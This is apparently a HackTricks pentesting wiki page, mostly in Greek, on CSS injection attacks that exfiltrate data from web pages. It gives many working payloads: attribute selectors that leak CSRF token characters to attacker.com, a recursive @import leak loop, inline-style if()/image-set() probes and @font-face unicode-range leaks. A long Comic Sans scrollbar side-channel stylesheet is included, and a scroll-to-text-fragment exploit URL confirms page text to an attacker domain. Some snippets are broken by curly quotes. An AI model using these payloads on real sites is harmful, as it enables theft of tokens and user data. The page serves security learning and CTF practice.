CSS Injection

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

CSS Injection

LESS Code Injection

Το LESS είναι ένας δημοφιλής CSS pre-processor που προσθέτει variables, mixins, functions και την ισχυρή @import directive. Κατά τη μεταγλώττιση, η μηχανή LESS θα ανακτήσει τους πόρους που αναφέρονται στις δηλώσεις @import και θα ενσωματώσει (“inline”) το περιεχόμενό τους στο προκύπτον CSS όταν χρησιμοποιείται η επιλογή (inline).

{{#ref}} less-code-injection.md {{/ref}}

Επιλογέας χαρακτηριστικού

Οι CSS selectors κατασκευάζονται για να ταιριάζουν με τις τιμές των attributes name και value ενός input element. Εάν το value attribute του input element ξεκινάει με έναν συγκεκριμένο χαρακτήρα, ένας προκαθορισμένος εξωτερικός πόρος φορτώνεται:

input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}

Ωστόσο, αυτή η προσέγγιση αντιμετωπίζει έναν περιορισμό όταν πρόκειται για κρυφά input στοιχεία (type=“hidden”), επειδή τα κρυφά στοιχεία δεν φορτώνουν φόντο.

Παράκαμψη για Κρυφά Στοιχεία

Για να παρακάμψετε αυτόν τον περιορισμό, μπορείτε να στοχεύσετε ένα επόμενο αδερφικό στοιχείο χρησιμοποιώντας το ~ general sibling combinator. Ο κανόνας CSS εφαρμόζεται τότε σε όλα τα αδερφικά στοιχεία που ακολουθούν το κρυφό input στοιχείο, προκαλώντας τη φόρτωση της εικόνας φόντου:

input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

Ένα πρακτικό παράδειγμα εκμετάλλευσης αυτής της τεχνικής παρατίθεται στο παρεχόμενο απόσπασμα κώδικα. Μπορείτε να το δείτε here.

Προαπαιτούμενα για CSS Injection

Για να είναι αποτελεσματική η τεχνική CSS Injection, πρέπει να πληρούνται ορισμένες προϋποθέσεις:

  1. Payload Length: Το CSS Injection vector πρέπει να υποστηρίζει επαρκώς μεγάλα payloads ώστε να χωράνε οι crafted selectors.
  2. CSS Re-evaluation: Πρέπει να έχετε τη δυνατότητα να τοποθετείτε τη σελίδα σε frame, κάτι που είναι απαραίτητο για να ενεργοποιηθεί η επανεκτίμηση του CSS με τα νεογεννημένα payloads.
  3. External Resources: Η τεχνική προϋποθέτει τη δυνατότητα χρήσης externally hosted images. Αυτό μπορεί να περιορίζεται από την Content Security Policy (CSP) του site.

Blind Attribute Selector

As explained in this post, it’s possible to combine the selectors :has and :not to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.
It’s also possible to use those selectors to extract information from several block of the same type like in:

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />

Συνδυάζοντας αυτό με την ακόλουθη τεχνική @import, είναι δυνατό να exfiltrate πολλά info χρησιμοποιώντας CSS injection από blind pages με blind-css-exfiltration.

@import

Η προηγούμενη τεχνική έχει κάποια μειονεκτήματα — έλεγξε τα προαπαιτούμενα. Είτε πρέπει να μπορείς να στείλεις πολλαπλούς συνδέσμους στο θύμα, είτε να μπορείς να iframe τη σελίδα που είναι ευάλωτη σε CSS injection.

Ωστόσο, υπάρχει μια άλλη έξυπνη τεχνική που χρησιμοποιεί CSS @import για να βελτιώσει την ποιότητα της τεχνικής.

Αυτό το έδειξε πρώτος ο Pepe Vila και λειτουργεί ως εξής:

Αντί να φορτώνουμε την ίδια σελίδα ξανά και ξανά με δεκάδες διαφορετικά payloads κάθε φορά (όπως στην προηγούμενη), θα φορτώσουμε τη σελίδα μόνο μία φορά και μόνο με ένα import προς τον attackers server (αυτό είναι το payload που θα σταλεί στο θύμα):

@import url("//attacker.com:5001/start?");
  1. Το import θα λάβει κάποιο CSS script από τους επιτιθέμενους και ο browser θα το φορτώσει.
  2. Το πρώτο μέρος του CSS script που θα στείλει ο attacker είναι another @import to the attackers server again.
  3. Ο server των επιτιθέμενων δεν θα απαντήσει σε αυτό το request ακόμα, καθώς θέλουμε να leak μερικούς χαρακτήρες και μετά να απαντήσουμε σε αυτό το import με το payload για να leak τους επόμενους.
  4. Το δεύτερο και μεγαλύτερο μέρος του payload θα είναι ένα attribute selector leakage payload
  5. Αυτό θα στείλει στον server των επιτιθέμενων το πρώτο char του secret και το τελευταίο
  6. Μόλις ο server των επιτιθέμενων λάβει τα first and last char of the secret, θα respond the import requested in the step 2.
  7. Η απάντηση θα είναι ακριβώς η ίδια με τα steps 2, 3 and 4, αλλά αυτή τη φορά θα προσπαθήσει να find the second char of the secret and then penultimate.

Ο attacker θα fακολουθήσει αυτό το loop μέχρι να καταφέρει να leak πλήρως το secret.

Μπορείτε να βρείτε τον original Pepe Vila’s code to exploit this here ή μπορείτε να βρείτε σχεδόν τον same code but commented here.

Tip

Το script θα προσπαθήσει να ανακαλύψει 2 chars κάθε φορά (από την αρχή και από το τέλος) επειδή ο attribute selector επιτρέπει να κάνει πράγματα όπως:

css /* value^= to match the beggining of the value*/ input[value^=“0”] { –s0: url(http://localhost:5001/leak?pre=0); }

/* value$= to match the ending of the value*/ input[value$=“f”] { –e0: url(http://localhost:5001/leak?post=f); }

Αυτό επιτρέπει στο script να leak το secret πιο γρήγορα.

Warning

Κάποιες φορές το script δεν εντοπίζει σωστά ότι το prefix + suffix που ανακαλύφθηκαν είναι ήδη το complete flag και θα συνεχίσει μπροστά (στο prefix) και πίσω (στο suffix) και κάποια στιγμή θα κολλήσει.
Μην ανησυχείτε, απλά ελέγξτε το output γιατί μπορείτε να δείτε το flag εκεί.

Inline-Style CSS Exfiltration (attr() + if() + image-set())

This primitive enables exfiltration using only an element’s inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.

Warning

Equality comparisons in if() require double quotes for string literals. Single quotes will not match.

  • Sink: ελέγξτε το style attribute ενός στοιχείου και βεβαιωθείτε ότι το target attribute είναι στο ίδιο στοιχείο (attr() reads only same-element attributes).
  • Read: αντιγράψτε το attribute σε μια CSS μεταβλητή: –val: attr(title).
  • Decide: επιλέξτε ένα URL χρησιμοποιώντας nested conditionals που συγκρίνουν τη μεταβλητή με string candidates: –steal: if(style(–val:“1”): url(//attacker/1); else: url(//attacker/2)).
  • Exfiltrate: εφαρμόστε background: image-set(var(–steal)) (or any fetching property) για να αναγκάσετε ένα request στο επιλεγμένο endpoint.

Attempt (does not work; single quotes in comparison):

<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>

Λειτουργικό payload (απαιτούνται διπλά εισαγωγικά στη σύγκριση):

<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>

Απαρίθμηση τιμών χαρακτηριστικών με εμφωλευμένες συνθήκες:

<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>

Ρεαλιστική επίδειξη (probing usernames):

<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>

Σημειώσεις και περιορισμοί:

  • Λειτουργεί σε Chromium-based browsers την περίοδο της έρευνας· η συμπεριφορά μπορεί να διαφέρει σε άλλους κινητήρες περιήγησης.
  • Κατάλληλο κυρίως για πεπερασμένους/αριθμήσιμους χώρους τιμών (IDs, flags, short usernames). Η κλοπή αυθαίρετα μεγάλων συμβολοσειρών χωρίς εξωτερικά stylesheets παραμένει πρόκληση.
  • Οποιαδήποτε CSS property που κάνει fetch ενός URL μπορεί να χρησιμοποιηθεί για να ενεργοποιήσει το αίτημα (π.χ., background/image-set, border-image, list-style, cursor, content).

Αυτοματοποίηση: a Burp Custom Action μπορεί να δημιουργήσει nested inline-style payloads για brute-force τιμές attributes: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda

Άλλοι selectors

Άλλοι τρόποι πρόσβασης σε μέρη του DOM με CSS selectors:

  • .class-to-search:nth-child(2): Αυτό θα αναζητήσει το δεύτερο στοιχείο με class “class-to-search” στο DOM.
  • :empty selector: Χρησιμοποιείται, για παράδειγμα, στο this writeup:

css [role^=“img”][aria-label=“1”]:empty { background-image: url(“YOUR_SERVER_URL?1”); }

Reference: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq

Ο γενικός σκοπός είναι να χρησιμοποιηθεί μια custom γραμματοσειρά από ένα ελεγχόμενο endpoint και να διασφαλιστεί ότι το κείμενο (σε αυτή την περίπτωση, ‘A’) εμφανίζεται με αυτή τη γραμματοσειρά μόνο αν ο συγκεκριμένος πόρος (favicon.ico) δεν μπορεί να φορτωθεί.

<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}

#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Χρήση Προσαρμοσμένης Γραμματοσειράς:
  • Μια προσαρμοσμένη γραμματοσειρά ορίζεται χρησιμοποιώντας τον κανόνα @font-face μέσα σε ένα
  • Η γραμματοσειρά ονομάζεται poc και ανακτάται από ένα εξωτερικό endpoint (http://attacker.com/?leak).
  • Η ιδιότητα unicode-range ορίζεται σε U+0041, στοχεύοντας τον συγκεκριμένο χαρακτήρα Unicode ‘A’.
  1. Στοιχείο Object με Κείμενο Εφεδρείας:
  • Ένα στοιχείο με id=“poc0” δημιουργείται στην ενότητα. Αυτό το στοιχείο προσπαθεί να φορτώσει έναν πόρο από το http://192.168.0.1/favicon.ico.
  • Το font-family για αυτό το στοιχείο ορίζεται σε ‘poc’, όπως ορίζεται στην
  • Εάν ο πόρος (favicon.ico) αποτύχει να φορτωθεί, το fallback περιεχόμενο (το γράμμα ‘A’) μέσα στο tag εμφανίζεται.
  • Το fallback περιεχόμενο (‘A’) θα αποδοθεί χρησιμοποιώντας την προσαρμοσμένη γραμματοσειρά poc αν ο εξωτερικός πόρος δεν μπορεί να φορτωθεί.

Στυλ για το Scroll-to-Text Fragment

Η ψευδο-κλάση :target χρησιμοποιείται για να επιλέξει ένα στοιχείο στο οποίο στοχεύει ένα URL fragment, όπως ορίζεται στην CSS Selectors Level 4 specification. Είναι σημαντικό να κατανοήσουμε ότι το ::target-text δεν ταιριάζει με κανένα στοιχείο εκτός αν το κείμενο στο οποίο αναφέρεται στο fragment στοχεύεται ρητά.

Προκύπτει ένα ζήτημα ασφαλείας όταν επιτιθέμενοι εκμεταλλεύονται το Scroll-to-text fragment feature, επιτρέποντάς τους να επιβεβαιώσουν την παρουσία συγκεκριμένου κειμένου σε μια σελίδα φορτώνοντας έναν πόρο από τον server τους μέσω HTML injection. Η μέθοδος περιλαμβάνει την ενσωμάτωση ενός κανόνα CSS όπως ο ακόλουθος:

:target::before {
content: url(target.png);
}

Σε τέτοια σενάρια, εάν το κείμενο “Administrator” υπάρχει στη σελίδα, ο πόρος target.png ζητείται από τον server, υποδηλώνοντας την παρουσία του κειμένου. Ένα παράδειγμα αυτού του attack μπορεί να εκτελεστεί μέσω ενός ειδικά κατασκευασμένου URL που ενσωματώνει το injected CSS μαζί με ένα Scroll-to-text fragment:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

Εδώ, η επίθεση χειρίζεται HTML injection για να μεταδώσει τον CSS κώδικα, στοχεύοντας στο συγκεκριμένο κείμενο “Administrator” μέσω του Scroll-to-text fragment (#:~:text=Administrator). Αν το κείμενο βρεθεί, ο υποδεικνυόμενος πόρος φορτώνεται, αναπάντεχα υποδεικνύοντας την παρουσία του στον επιτιθέμενο.

Για τη μετρίαση, θα πρέπει να σημειωθούν τα εξής:

  1. Constrained STTF Matching: Το Scroll-to-text Fragment (STTF) είναι σχεδιασμένο να ταιριάζει μόνο λέξεις ή προτάσεις, περιορίζοντας έτσι την ικανότητά του να leak αυθαίρετα secrets ή tokens.
  2. Restriction to Top-level Browsing Contexts: Το STTF λειτουργεί αποκλειστικά σε top-level browsing contexts και δεν λειτουργεί μέσα σε iframes, καθιστώντας οποιαδήποτε προσπάθεια exploitation πιο αντιληπτή από τον χρήστη.
  3. Necessity of User Activation: Το STTF απαιτεί ένα user-activation gesture για να λειτουργήσει, που σημαίνει ότι exploitations είναι εφικτές μόνο μέσω user-initiated navigations. Αυτή η απαίτηση μειώνει σημαντικά τον κίνδυνο επιθέσεων να αυτοματοποιηθούν χωρίς αλληλεπίδραση χρήστη. Παρόλα αυτά, ο συγγραφέας του blog post επισημαίνει συγκεκριμένες συνθήκες και bypasses (π.χ. social engineering, αλληλεπίδραση με διαδεδομένα browser extensions) που μπορεί να διευκολύνουν την αυτοματοποίηση της επίθεσης.

Η ενημέρωση για αυτούς τους μηχανισμούς και τις πιθανές ευπάθειες είναι κρίσιμη για τη διατήρηση της ασφάλειας του web και την προστασία έναντι τέτοιων exploitative tactics.

For more information check the original report: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

Μπορείτε να δείτε ένα exploit using this technique for a CTF here.

@font-face / unicode-range

Μπορείτε να καθορίσετε εξωτερικές γραμματοσειρές για συγκεκριμένες τιμές unicode που θα φορτωθούν μόνο αν αυτές οι τιμές unicode υπάρχουν στη σελίδα. Για παράδειγμα:

<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>

<p id="sensitive-information">AB</p>
htm

When you access this page, Chrome and Firefox fetch “?A” and “?B” because text node of sensitive-information contains “A” and “B” characters. But Chrome and Firefox do not fetch “?C” because it does not contain “C”. This means that we have been able to read “A” and “B”.

Text node exfiltration (I): ligatures

Reference: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

Η τεχνική που περιγράφεται αφορά την εξαγωγή κειμένου από έναν node αξιοποιώντας font ligatures και παρακολουθώντας αλλαγές στο πλάτος. Η διαδικασία περιλαμβάνει αρκετά βήματα:

  1. Creation of Custom Fonts:
  • Δημιουργούνται SVG fonts με glyphs που έχουν το attribute horiz-adv-x, το οποίο ορίζει μεγάλο πλάτος για ένα glyph που αντιπροσωπεύει μια ακολουθία δύο χαρακτήρων.
  • Παράδειγμα SVG glyph: , όπου το “XY” δηλώνει μια ακολουθία δύο χαρακτήρων.
  • Αυτές οι fonts μετατρέπονται σε woff μορφή χρησιμοποιώντας fontforge.
  1. Detection of Width Changes:
  • Χρησιμοποιείται CSS για να αποτραπεί το wrapping του κειμένου (white-space: nowrap) και για να προσαρμοστεί το στυλ του scrollbar.
  • Η εμφάνιση ενός οριζόντιου scrollbar, με διακριτό στυλ, λειτουργεί ως δείκτης (oracle) ότι ένα συγκεκριμένο ligature, και κατ’ επέκταση μια συγκεκριμένη ακολουθία χαρακτήρων, υπάρχει στο κείμενο.
  • Το σχετικό CSS: css body { white-space: nowrap; } body::-webkit-scrollbar { background: blue; } body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
  1. Exploit Process:
  • Step 1: Δημιουργούνται fonts για ζεύγη χαρακτήρων με μεγάλο πλάτος.
  • Step 2: Χρησιμοποιείται ένα τέχνασμα με τον scrollbar για να ανιχνευθεί πότε γίνεται render το glyph με το μεγάλο πλάτος (ligature για το ζευγάρι χαρακτήρων), υποδεικνύοντας την παρουσία της ακολουθίας.
  • Step 3: Μετά την ανίχνευση ενός ligature, δημιουργούνται νέα glyphs που αντιπροσωπεύουν ακολουθίες τριών χαρακτήρων, ενσωματώνοντας το εντοπισμένο ζευγάρι και προσθέτοντας έναν προηγούμενο ή επόμενο χαρακτήρα.
  • Step 4: Γίνεται ανίχνευση του ligature τριών χαρακτήρων.
  • Step 5: Η διαδικασία επαναλαμβάνεται, αποκαλύπτοντας βαθμιαία ολόκληρο το κείμενο.
  1. Optimization:
  • Ο τρέχων τρόπος αρχικοποίησης με δεν είναι βέλτιστος.
  • Μια πιο αποδοτική προσέγγιση θα μπορούσε να χρησιμοποιήσει το CSS @import trick, βελτιώνοντας την απόδοση του exploit.

Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)

Reference: PoC using Comic Sans by @Cgvwzq & @Terjanq

Αυτό το trick δημοσιεύτηκε σε αυτό το Slackers thread. Το charset που χρησιμοποιείται σε έναν text node μπορεί να leak χρησιμοποιώντας τις προεγκατεστημένες default fonts του browser: δεν χρειάζονται external -or custom- fonts.

Η ιδέα βασίζεται στη χρήση μιας animation που αυξάνει σταδιακά το πλάτος ενός div, επιτρέποντας έναν χαρακτήρα κάθε φορά να μετακινηθεί από το ‘suffix’ στο ‘prefix’ μέρος του κειμένου. Αυτή η διαδικασία χωρίζει ουσιαστικά το κείμενο σε δύο τμήματα:

  1. Prefix: Η αρχική γραμμή.
  2. Suffix: Η επόμενη γραμμή(ες).

Τα στάδια μετάβασης των χαρακτήρων θα εμφανίζονται ως εξής:

C
ADB

CA
DB

CAD
B

CADB

Κατά τη διάρκεια αυτής της μετάβασης, χρησιμοποιείται το unicode-range trick για να εντοπιστεί κάθε νέος χαρακτήρας καθώς προστίθεται στο prefix. Αυτό επιτυγχάνεται αλλάζοντας τη γραμματοσειρά σε Comic Sans, η οποία είναι σαφώς ψηλότερη από την προεπιλεγμένη γραμματοσειρά, με αποτέλεσμα να ενεργοποιείται ένας κάθετος scrollbar. Η εμφάνιση αυτού του scrollbar αποκαλύπτει έμμεσα την παρουσία ενός νέου χαρακτήρα στο prefix.

Αν και αυτή η μέθοδος επιτρέπει τον εντοπισμό μοναδικών χαρακτήρων καθώς εμφανίζονται, δεν καθορίζει ποιος χαρακτήρας επαναλαμβάνεται — μόνο ότι έχει συμβεί μια επανάληψη.

Tip

Βασικά, το unicode-range is used to detect a char, αλλά επειδή δεν θέλουμε να φορτώσουμε εξωτερική font, χρειάζεται να βρούμε έναν άλλο τρόπο.
Όταν ο char βρεθεί, του αποδίδεται η προεγκατεστημένη Comic Sans font, η οποία κάνει τον char μεγαλύτερο και ενεργοποιεί ένα scroll bar που θα leak τον εντοπισμένο char.

Check the code extracted from the PoC:

/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets)

Αναφορά: Αυτό αναφέρεται ως an unsuccessful solution in this writeup

Αυτή η περίπτωση είναι πολύ παρόμοια με την προηγούμενη, ωστόσο εδώ ο στόχος του να γίνει συγκεκριμένα chars bigger than other is to hide something είναι να κρύψουμε κάτι, όπως ένα button ώστε να μην πατηθεί από το bot ή μια image που δεν θα φορτωθεί. Μπορούμε έτσι να μετρήσουμε τη δράση (ή την απουσία της δράσης) και να καταλάβουμε αν ένας συγκεκριμένος char υπάρχει μέσα στο κείμενο.

Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)

Αναφορά: Αυτό αναφέρεται ως an unsuccessful solution in this writeup

Σε αυτή την περίπτωση, μπορούμε να προσπαθήσουμε να leak αν ένας char είναι στο κείμενο φορτώνοντας ένα fake font από το ίδιο origin:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

If there is a match, the γραμματοσειρά θα φορτωθεί από /static/bootstrap.min.css?q=1. Αν και δεν θα φορτωθεί επιτυχώς, ο browser θα πρέπει να την αποθηκεύσει στην cache, και ακόμη κι αν δεν υπάρχει cache, υπάρχει ο μηχανισμός 304 not modified, οπότε η απάντηση θα πρέπει να είναι πιο γρήγορη από άλλα στοιχεία.

Ωστόσο, αν η χρονοδιαφορά ανάμεσα στην cached απάντηση και στην μη-cached δεν είναι αρκετά μεγάλη, αυτό δεν θα είναι χρήσιμο. Για παράδειγμα, ο συγγραφέας ανέφερε: Ωστόσο, μετά από δοκιμές, διαπίστωσα ότι το πρώτο πρόβλημα είναι ότι η ταχύτητα δεν διαφέρει πολύ, και το δεύτερο πρόβλημα είναι ότι το bot χρησιμοποιεί την παράμετρο disk-cache-size=1, κάτι που είναι πραγματικά προνοητικό.

Text node exfiltration (III): leaking the charset by timing loading hundreds of local “fonts” (not requiring external assets)

Αναφορά: Αυτό αναφέρεται ως an unsuccessful solution in this writeup

In this case you can indicate CSS to load hundreds of fake fonts from the same origin when a match occurs. This way you can measure the time it takes and find out if a char appears or not with something like:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

Και ο κώδικας του bot φαίνεται έτσι:

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

Έτσι, αν η γραμματοσειρά δεν ταιριάζει, ο χρόνος απόκρισης κατά την επίσκεψη στον bot αναμένεται να είναι περίπου 30 δευτερόλεπτα. Ωστόσο, αν υπάρχει ταύτιση γραμματοσειράς, θα σταλούν πολλαπλά αιτήματα για την ανάκτηση της γραμματοσειράς, προκαλώντας συνεχή δραστηριότητα στο δίκτυο. Ως αποτέλεσμα, θα χρειαστεί περισσότερος χρόνος για να ικανοποιηθεί η συνθήκη διακοπής και να ληφθεί η απάντηση. Επομένως, ο χρόνος απόκρισης μπορεί να χρησιμοποιηθεί ως δείκτης για τον προσδιορισμό εάν υπάρχει ταύτιση γραμματοσειράς.

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks